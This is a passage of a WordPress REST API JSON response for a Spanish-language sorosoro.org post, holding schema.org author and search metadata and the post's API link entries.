!","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/48590","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=48590"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/48590\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=48590"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=48590"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=48590"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}